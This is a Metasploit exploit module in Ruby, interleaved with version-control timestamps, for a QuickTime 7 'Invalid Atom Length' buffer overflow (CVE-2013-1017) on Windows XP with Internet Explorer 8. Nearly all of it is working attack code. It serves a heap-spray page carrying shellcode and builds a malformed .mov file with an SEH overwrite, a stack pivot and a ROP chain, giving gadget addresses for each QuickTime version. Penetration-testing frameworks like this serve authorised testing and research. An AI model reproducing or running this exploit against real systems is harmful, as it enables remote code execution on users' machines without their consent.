2013-07-17 18:45:05 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-07-17 18:45:05 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2013-10-07 17:27:43 +00:00
|
|
|
include Msf::Exploit::RopDb
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in Apple Quicktime. The flaw is
|
|
|
|
triggered when Quicktime fails to properly handle the data length for certain
|
|
|
|
atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
|
|
|
|
overflow by loading a specially crafted .mov file, and allows arbitrary
|
|
|
|
code execution under the context of the current user.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor
|
|
|
|
'Tom Gallagher', # Original Discovery (overlapped)
|
|
|
|
'Paul Bates', # Original Discovery (overlapped)
|
|
|
|
'sinn3r' # Metasploit
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-1017' ],
|
|
|
|
[ 'OSVDB', '93625' ],
|
|
|
|
[ 'BID', '60097' ],
|
|
|
|
[ 'URL', 'http://support.apple.com/kb/HT5770' ],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '13-110' ]
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# All of the following addresses are from Quicktime.qts
|
|
|
|
# RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
|
|
|
|
[ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],
|
|
|
|
[ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],
|
|
|
|
[ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],
|
|
|
|
[ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "\x00" # js_property_spray no like nilz
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
|
|
},
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "May 22 2013"
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_payload(t)
|
2013-10-07 17:27:43 +00:00
|
|
|
alignment = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
|
|
|
p = generate_rop_payload('msvcrt', alignment + payload.encoded, {'target'=>'xp'})
|
|
|
|
return p
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def targetable?(agent)
|
|
|
|
if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
|
|
|
|
return true
|
|
|
|
elsif agent =~ /contype/
|
|
|
|
# contype: a mov file request from Apple Quicktime
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def get_html(t)
|
|
|
|
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
|
|
|
|
fake_mov_name = rand_text_alpha(4) + ".mov"
|
|
|
|
html = %Q|
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<script>
|
|
|
|
#{js_property_spray}
|
|
|
|
|
|
|
|
var s = unescape("#{js_p}");
|
|
|
|
sprayHeap({shellcode:s});
|
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
<body>
|
|
|
|
<embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
2013-12-31 17:06:53 +00:00
|
|
|
html.gsub(/^ {4}/, '')
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
agent = request.headers['User-Agent']
|
|
|
|
print_status("Requesting: #{request.uri}")
|
|
|
|
|
|
|
|
unless targetable?(agent)
|
|
|
|
print_error("Browser not supported, sending 404: #{agent}")
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Target selected as: #{target.name}") if target
|
|
|
|
|
|
|
|
if request.uri =~ /\.mov$/
|
|
|
|
print_status("Sending specially crafted .mov file")
|
|
|
|
send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })
|
|
|
|
else
|
|
|
|
html = get_html(target)
|
|
|
|
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def sort_bytes(data)
|
|
|
|
data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
|
|
|
|
end
|
|
|
|
|
|
|
|
def rop_nop(t)
|
|
|
|
[t['Nop']].pack('V*') # Ret (QuickTime.qts)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
buf = ''
|
|
|
|
buf << rand_text_alpha(467) # 467 to align the pivot
|
|
|
|
10.times {
|
|
|
|
buf << rop_nop(target)
|
|
|
|
}
|
|
|
|
buf << [
|
|
|
|
target['Pop'], # POP ESP; RET (QuickTime.qts)
|
|
|
|
0x20302020 # Target value for ESP (our ROP payload)
|
|
|
|
].pack('V*')
|
|
|
|
buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
|
|
|
|
buf << sort_bytes([target.ret]) # ADD ESP,280; RET (QuickTime.qts) - pivot
|
|
|
|
buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size
|
|
|
|
|
|
|
|
# Quicktime File Format Specifications:
|
|
|
|
# https://developer.apple.com/standards/qtff-2001.pdf
|
|
|
|
mov = "\x00\x00\x06\xDF" # File size
|
|
|
|
mov << "moov" # Movie atom
|
|
|
|
mov << "\x00\x00\x06\xD7" # size (1751d)
|
|
|
|
mov << "rmra" # Reference Movie atom
|
|
|
|
mov << "\x00\x00\x06\xCF" # size (1743d)
|
|
|
|
mov << "rmda" # rmda atom
|
|
|
|
mov << "\x00\x00\x06\xBF" # size (1727d)
|
|
|
|
mov << "rdrf" # Data reference atom
|
|
|
|
mov << "\x00\x00\x00\x00" # size set to 0
|
|
|
|
mov << "alis" # Data reference type: FS alias record
|
|
|
|
mov << "\x00\x00\x06\xAA" # Size (1706d)
|
|
|
|
mov << rand_text_alpha(8)
|
|
|
|
mov << "\x00\x00\x06\x61" # Size (1633d)
|
|
|
|
mov << rand_text_alpha(38)
|
|
|
|
mov << "\x12"
|
|
|
|
mov << rand_text_alpha(81)
|
|
|
|
mov << "\xFF\xFF"
|
|
|
|
mov << rand_text_alpha(18)
|
|
|
|
mov << "\x00\x08" # Size (8d)
|
|
|
|
mov << rand_text_alpha(8)
|
|
|
|
mov << "\x00\x00"
|
|
|
|
mov << "\x00\x08" # Size (8d)
|
|
|
|
mov << rand_text_alpha(8)
|
|
|
|
mov << "\x00\x00"
|
|
|
|
mov << "\x00\x26" # Size (38d)
|
|
|
|
mov << rand_text_alpha(38)
|
|
|
|
mov << "\x00\x0F\x00\x0E"
|
|
|
|
mov << "AA" # Size (must be invalid)
|
|
|
|
mov << rand_text_alpha(12)
|
|
|
|
mov << "\x00\x12\x00\x21"
|
|
|
|
mov << rand_text_alpha(36)
|
|
|
|
mov << "\x00"
|
|
|
|
mov << "\x0F\x33"
|
|
|
|
mov << rand_text_alpha(17)
|
|
|
|
mov << "\x02\xF4" # Size (756h)
|
|
|
|
mov << rand_text_alpha(756)
|
|
|
|
mov << "\xFF\xFF\x00\x00\x00"
|
|
|
|
mov << buf
|
|
|
|
|
|
|
|
@exploit = mov
|
|
|
|
super
|
|
|
|
end
|
2013-07-17 18:45:05 +00:00
|
|
|
end
|